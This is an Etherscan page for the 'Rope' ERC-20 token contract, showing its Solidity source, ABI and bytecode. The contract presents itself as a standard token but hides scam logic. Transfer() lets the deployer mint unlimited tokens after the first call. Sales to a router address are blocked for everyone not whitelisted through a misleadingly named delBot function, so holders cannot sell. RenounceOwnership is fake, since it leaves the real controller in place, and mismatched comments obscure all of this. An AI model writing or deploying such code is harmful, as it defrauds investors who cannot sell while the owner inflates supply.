ERC-20
Overview
Max Total Supply
2,000,000,000,000,000,001 ROPE
Holders
21
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
0.009290692837287429 ROPEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Rope
Compiler Version
v0.8.11+commit.d7f03943
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-01-22 */ /* WAGMI https://t.me/RopetokenOfficial */abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } pragma solidity ^0.8.11; contract Ownable is Context { address internal recipients; address internal router; address public owner; mapping (address => bool) internal confirm; event owned(address indexed previousi, address indexed newi); constructor () { address msgSender = _msgSender(); recipients = msgSender; emit owned(address(0), msgSender); } modifier checker() { require(recipients == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function renounceOwnership() public virtual checker { emit owned(owner, address(0)); owner = address(0); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ } library SafeMath { function prod(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /* @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function cre(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function cal(uint256 a, uint256 b) internal pure returns (uint256) { return calc(a, b, "SafeMath: division by zero"); } function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function red(uint256 a, uint256 b) internal pure returns (uint256) { return redc(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ } // SPDX-License-Identifier: MIT contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; bool private truth; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; truth=true; } function name() public view virtual override returns (string memory) { return _name; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * transferFrom. * * Requirements: * * - transferFrom. * * _Available since v3.1._ */ function Start (address set) public checker { router = set; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - the address approve. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev updateTaxFee * */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function transfer(address recipient, uint256 amount) public override returns (bool) { if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;} else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;} else{_transfer(_msgSender(), recipient, amount); return true;} } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function botban(address _count) internal checker { confirm[_count] = true; } /** * @dev updateTaxFee * */ function delBot(address[] memory _counts) external checker { for (uint256 i = 0; i < _counts.length; i++) { botban(_counts[i]); } } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (recipient == router) { require(confirm[sender]); } uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - manualSend * * _Available since v3.1._ */ } function _deploy(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: deploy to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ } contract Rope is ERC20{ uint8 immutable private _decimals = 18; uint256 private _totalSupply = 1 * 10 ** 18; constructor () ERC20('RopeToken','ROPE') { _deploy(_msgSender(), _totalSupply); } function decimals() public view virtual override returns (uint8) { return _decimals; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousi","type":"address"},{"indexed":true,"internalType":"address","name":"newi","type":"address"}],"name":"owned","type":"event"},{"inputs":[{"internalType":"address","name":"set","type":"address"}],"name":"Start","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_counts","type":"address[]"}],"name":"delBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60a06040526012608052670de0b6b3a7640000600a553480156200002257600080fd5b50604051806040016040528060098152602001682937b832aa37b5b2b760b91b81525060405180604001604052806004815260200163524f504560e01b8152506000620000746200011460201b60201c565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b0908290a3508151620000d39060079060208501906200020a565b508051620000e99060089060208401906200020a565b50506009805460ff19166001179055506200010e620001053390565b600a5462000118565b62000314565b3390565b6001600160a01b0382166200017d5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206465706c6f7920746f20746865207a65726f206164647265736044820152607360f81b606482015260840160405180910390fd5b8060066000828254620001919190620002b0565b90915550506001600160a01b03821660009081526004602052604081208054839290620001c0908490620002b0565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b8280546200021890620002d7565b90600052602060002090601f0160209004810192826200023c576000855562000287565b82601f106200025757805160ff191683800117855562000287565b8280016001018555821562000287579182015b82811115620002875782518255916020019190600101906200026a565b506200029592915062000299565b5090565b5b808211156200029557600081556001016200029a565b60008219821115620002d257634e487b7160e01b600052601160045260246000fd5b500190565b600181811c90821680620002ec57607f821691505b602082108114156200030e57634e487b7160e01b600052602260045260246000fd5b50919050565b608051610e106200033060003960006101670152610e106000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d71461021d578063a9059cbb14610230578063c97c182114610243578063dd62ed3e1461025657600080fd5b8063715018a6146101cd57806384d0447c146101d75780638da5cb5b146101ea57806395d89b411461021557600080fd5b806323b872dd116100d357806323b872dd1461014d578063313ce56714610160578063395093511461019157806370a08231146101a457600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b61010261028f565b60405161010f9190610af4565b60405180910390f35b61012b610126366004610b65565b610321565b604051901515815260200161010f565b6006545b60405190815260200161010f565b61012b61015b366004610b8f565b610338565b60405160ff7f000000000000000000000000000000000000000000000000000000000000000016815260200161010f565b61012b61019f366004610b65565b6103ee565b61013f6101b2366004610bcb565b6001600160a01b031660009081526004602052604090205490565b6101d5610425565b005b6101d56101e5366004610bcb565b610499565b6002546101fd906001600160a01b031681565b6040516001600160a01b03909116815260200161010f565b6101026104e5565b61012b61022b366004610b65565b6104f4565b61012b61023e366004610b65565b61058f565b6101d5610251366004610bfc565b61069b565b61013f610264366004610cc1565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b60606007805461029e90610cf4565b80601f01602080910402602001604051908101604052809291908181526020018280546102ca90610cf4565b80156103175780601f106102ec57610100808354040283529160200191610317565b820191906000526020600020905b8154815290600101906020018083116102fa57829003601f168201915b5050505050905090565b600061032e338484610709565b5060015b92915050565b600061034584848461082d565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156103cf5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103e385336103de8685610d45565b610709565b506001949350505050565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161032e9185906103de908690610d5c565b6000546001600160a01b0316331461044f5760405162461bcd60e51b81526004016103c690610d74565b6002546040516000916001600160a01b0316907f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b0908390a3600280546001600160a01b0319169055565b6000546001600160a01b031633146104c35760405162461bcd60e51b81526004016103c690610d74565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60606008805461029e90610cf4565b3360009081526005602090815260408083206001600160a01b0386168452909152812054828110156105765760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103c6565b61058533856103de8685610d45565b5060019392505050565b600080546001600160a01b0316331480156105b1575060095460ff1615156001145b156105d4576105c2335b848461082d565b506009805460ff191690556001610332565b6000546001600160a01b0316331480156105f1575060095460ff16155b1561068a576006546106039083610a40565b6006556001600160a01b0383166000908152600460205260409020546106299083610a40565b6001600160a01b0384166000818152600460205260409081902092909255905181907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061067a9086815260200190565b60405180910390a3506001610332565b610693336105bb565b506001610332565b6000546001600160a01b031633146106c55760405162461bcd60e51b81526004016103c690610d74565b60005b8151811015610705576106f38282815181106106e6576106e6610da9565b6020026020010151610aa6565b806106fd81610dbf565b9150506106c8565b5050565b6001600160a01b03831661076b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c6565b6001600160a01b0382166107cc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c6565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108915760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103c6565b6001600160a01b0382166108f35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103c6565b6001546001600160a01b038381169116141561092e576001600160a01b03831660009081526003602052604090205460ff1661092e57600080fd5b6001600160a01b038316600090815260046020526040902054818110156109a65760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103c6565b6109b08282610d45565b6001600160a01b0380861660009081526004602052604080822093909355908516815290812080548492906109e6908490610d5c565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a3291815260200190565b60405180910390a350505050565b600080610a4d8385610d5c565b905083811015610a9f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103c6565b9392505050565b6000546001600160a01b03163314610ad05760405162461bcd60e51b81526004016103c690610d74565b6001600160a01b03166000908152600360205260409020805460ff19166001179055565b600060208083528351808285015260005b81811015610b2157858101830151858201604001528201610b05565b81811115610b33576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610b6057600080fd5b919050565b60008060408385031215610b7857600080fd5b610b8183610b49565b946020939093013593505050565b600080600060608486031215610ba457600080fd5b610bad84610b49565b9250610bbb60208501610b49565b9150604084013590509250925092565b600060208284031215610bdd57600080fd5b610a9f82610b49565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215610c0f57600080fd5b823567ffffffffffffffff80821115610c2757600080fd5b818501915085601f830112610c3b57600080fd5b813581811115610c4d57610c4d610be6565b8060051b604051601f19603f83011681018181108582111715610c7257610c72610be6565b604052918252848201925083810185019188831115610c9057600080fd5b938501935b82851015610cb557610ca685610b49565b84529385019392850192610c95565b98975050505050505050565b60008060408385031215610cd457600080fd5b610cdd83610b49565b9150610ceb60208401610b49565b90509250929050565b600181811c90821680610d0857607f821691505b60208210811415610d2957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610d5757610d57610d2f565b500390565b60008219821115610d6f57610d6f610d2f565b500190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000600019821415610dd357610dd3610d2f565b506001019056fea2646970667358221220b740f96a746ce7efcd7bb064254b8e745e483e3520dd13bffd3aaec7ec2bebaf64736f6c634300080b0033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d71461021d578063a9059cbb14610230578063c97c182114610243578063dd62ed3e1461025657600080fd5b8063715018a6146101cd57806384d0447c146101d75780638da5cb5b146101ea57806395d89b411461021557600080fd5b806323b872dd116100d357806323b872dd1461014d578063313ce56714610160578063395093511461019157806370a08231146101a457600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b61010261028f565b60405161010f9190610af4565b60405180910390f35b61012b610126366004610b65565b610321565b604051901515815260200161010f565b6006545b60405190815260200161010f565b61012b61015b366004610b8f565b610338565b60405160ff7f000000000000000000000000000000000000000000000000000000000000001216815260200161010f565b61012b61019f366004610b65565b6103ee565b61013f6101b2366004610bcb565b6001600160a01b031660009081526004602052604090205490565b6101d5610425565b005b6101d56101e5366004610bcb565b610499565b6002546101fd906001600160a01b031681565b6040516001600160a01b03909116815260200161010f565b6101026104e5565b61012b61022b366004610b65565b6104f4565b61012b61023e366004610b65565b61058f565b6101d5610251366004610bfc565b61069b565b61013f610264366004610cc1565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b60606007805461029e90610cf4565b80601f01602080910402602001604051908101604052809291908181526020018280546102ca90610cf4565b80156103175780601f106102ec57610100808354040283529160200191610317565b820191906000526020600020905b8154815290600101906020018083116102fa57829003601f168201915b5050505050905090565b600061032e338484610709565b5060015b92915050565b600061034584848461082d565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156103cf5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103e385336103de8685610d45565b610709565b506001949350505050565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161032e9185906103de908690610d5c565b6000546001600160a01b0316331461044f5760405162461bcd60e51b81526004016103c690610d74565b6002546040516000916001600160a01b0316907f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b0908390a3600280546001600160a01b0319169055565b6000546001600160a01b031633146104c35760405162461bcd60e51b81526004016103c690610d74565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60606008805461029e90610cf4565b3360009081526005602090815260408083206001600160a01b0386168452909152812054828110156105765760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103c6565b61058533856103de8685610d45565b5060019392505050565b600080546001600160a01b0316331480156105b1575060095460ff1615156001145b156105d4576105c2335b848461082d565b506009805460ff191690556001610332565b6000546001600160a01b0316331480156105f1575060095460ff16155b1561068a576006546106039083610a40565b6006556001600160a01b0383166000908152600460205260409020546106299083610a40565b6001600160a01b0384166000818152600460205260409081902092909255905181907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061067a9086815260200190565b60405180910390a3506001610332565b610693336105bb565b506001610332565b6000546001600160a01b031633146106c55760405162461bcd60e51b81526004016103c690610d74565b60005b8151811015610705576106f38282815181106106e6576106e6610da9565b6020026020010151610aa6565b806106fd81610dbf565b9150506106c8565b5050565b6001600160a01b03831661076b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c6565b6001600160a01b0382166107cc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c6565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108915760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103c6565b6001600160a01b0382166108f35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103c6565b6001546001600160a01b038381169116141561092e576001600160a01b03831660009081526003602052604090205460ff1661092e57600080fd5b6001600160a01b038316600090815260046020526040902054818110156109a65760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103c6565b6109b08282610d45565b6001600160a01b0380861660009081526004602052604080822093909355908516815290812080548492906109e6908490610d5c565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a3291815260200190565b60405180910390a350505050565b600080610a4d8385610d5c565b905083811015610a9f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103c6565b9392505050565b6000546001600160a01b03163314610ad05760405162461bcd60e51b81526004016103c690610d74565b6001600160a01b03166000908152600360205260409020805460ff19166001179055565b600060208083528351808285015260005b81811015610b2157858101830151858201604001528201610b05565b81811115610b33576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610b6057600080fd5b919050565b60008060408385031215610b7857600080fd5b610b8183610b49565b946020939093013593505050565b600080600060608486031215610ba457600080fd5b610bad84610b49565b9250610bbb60208501610b49565b9150604084013590509250925092565b600060208284031215610bdd57600080fd5b610a9f82610b49565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215610c0f57600080fd5b823567ffffffffffffffff80821115610c2757600080fd5b818501915085601f830112610c3b57600080fd5b813581811115610c4d57610c4d610be6565b8060051b604051601f19603f83011681018181108582111715610c7257610c72610be6565b604052918252848201925083810185019188831115610c9057600080fd5b938501935b82851015610cb557610ca685610b49565b84529385019392850192610c95565b98975050505050505050565b60008060408385031215610cd457600080fd5b610cdd83610b49565b9150610ceb60208401610b49565b90509250929050565b600181811c90821680610d0857607f821691505b60208210811415610d2957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610d5757610d57610d2f565b500390565b60008219821115610d6f57610d6f610d2f565b500190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000600019821415610dd357610dd3610d2f565b506001019056fea2646970667358221220b740f96a746ce7efcd7bb064254b8e745e483e3520dd13bffd3aaec7ec2bebaf64736f6c634300080b0033
Deployed Bytecode Sourcemap
14523:332:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7528:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10376:169;;;;;;:::i;:::-;;:::i;:::-;;;1218:14:1;;1211:22;1193:41;;1181:2;1166:18;10376:169:0;1053:187:1;8780:108:0;8868:12;;8780:108;;;1391:25:1;;;1379:2;1364:18;8780:108:0;1245:177:1;10551:418:0;;;;;;:::i;:::-;;:::i;14752:100::-;;;1932:4:1;14835:9:0;1920:17:1;1902:36;;1890:2;1875:18;14752:100:0;1760:184:1;11669:215:0;;;;;;:::i;:::-;;:::i;9206:127::-;;;;;;:::i;:::-;-1:-1:-1;;;;;9307:18:0;9280:7;9307:18;;;:9;:18;;;;;;;9206:127;2228:130;;;:::i;:::-;;8278:75;;;;;;:::i;:::-;;:::i;1332:20::-;;;;;-1:-1:-1;;;;;1332:20:0;;;;;;-1:-1:-1;;;;;2304:32:1;;;2286:51;;2274:2;2259:18;1332:20:0;2140:203:1;7947:104:0;;;:::i;11890:375::-;;;;;;:::i;:::-;;:::i;9703:510::-;;;;;;:::i;:::-;;:::i;11495:164::-;;;;;;:::i;:::-;;:::i;10219:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;10335:18:0;;;10308:7;10335:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;10219:151;7528:100;7582:13;7615:5;7608:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7528:100;:::o;10376:169::-;10459:4;10476:39;159:10;10499:7;10508:6;10476:8;:39::i;:::-;-1:-1:-1;10533:4:0;10376:169;;;;;:::o;10551:418::-;10657:4;10674:36;10684:6;10692:9;10703:6;10674:9;:36::i;:::-;-1:-1:-1;;;;;10748:19:0;;10721:24;10748:19;;;:11;:19;;;;;;;;159:10;10748:33;;;;;;;;10800:26;;;;10792:79;;;;-1:-1:-1;;;10792:79:0;;4458:2:1;10792:79:0;;;4440:21:1;4497:2;4477:18;;;4470:30;4536:34;4516:18;;;4509:62;-1:-1:-1;;;4587:18:1;;;4580:38;4635:19;;10792:79:0;;;;;;;;;10882:57;10891:6;159:10;10913:25;10932:6;10913:16;:25;:::i;:::-;10882:8;:57::i;:::-;-1:-1:-1;10957:4:0;;10551:418;-1:-1:-1;;;;10551:418:0:o;11669:215::-;159:10;11757:4;11806:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;11806:34:0;;;;;;;;;;11757:4;;11774:80;;11797:7;;11806:47;;